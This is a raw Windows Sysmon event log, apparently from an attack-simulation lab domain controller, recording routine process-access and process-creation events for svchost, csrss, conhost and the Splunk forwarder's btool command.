09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1101-000000007F01}2464C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-294F-5F80-1001-000000007F01}29684232C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294F-5F80-1101-000000007F01}2464C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.343{A5F018FF-294F-5F80-1101-000000007F01}2464C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-1001-000000007F01}2968C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000005014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1001-000000007F01}2968C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1001-000000007F01}2968C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-294F-5F80-0F01-000000007F01}22082216C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-1001-000000007F01}2968C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.338{A5F018FF-294F-5F80-1001-000000007F01}2968C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-0F01-000000007F01}2208C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000005001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0F01-000000007F01}2208C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 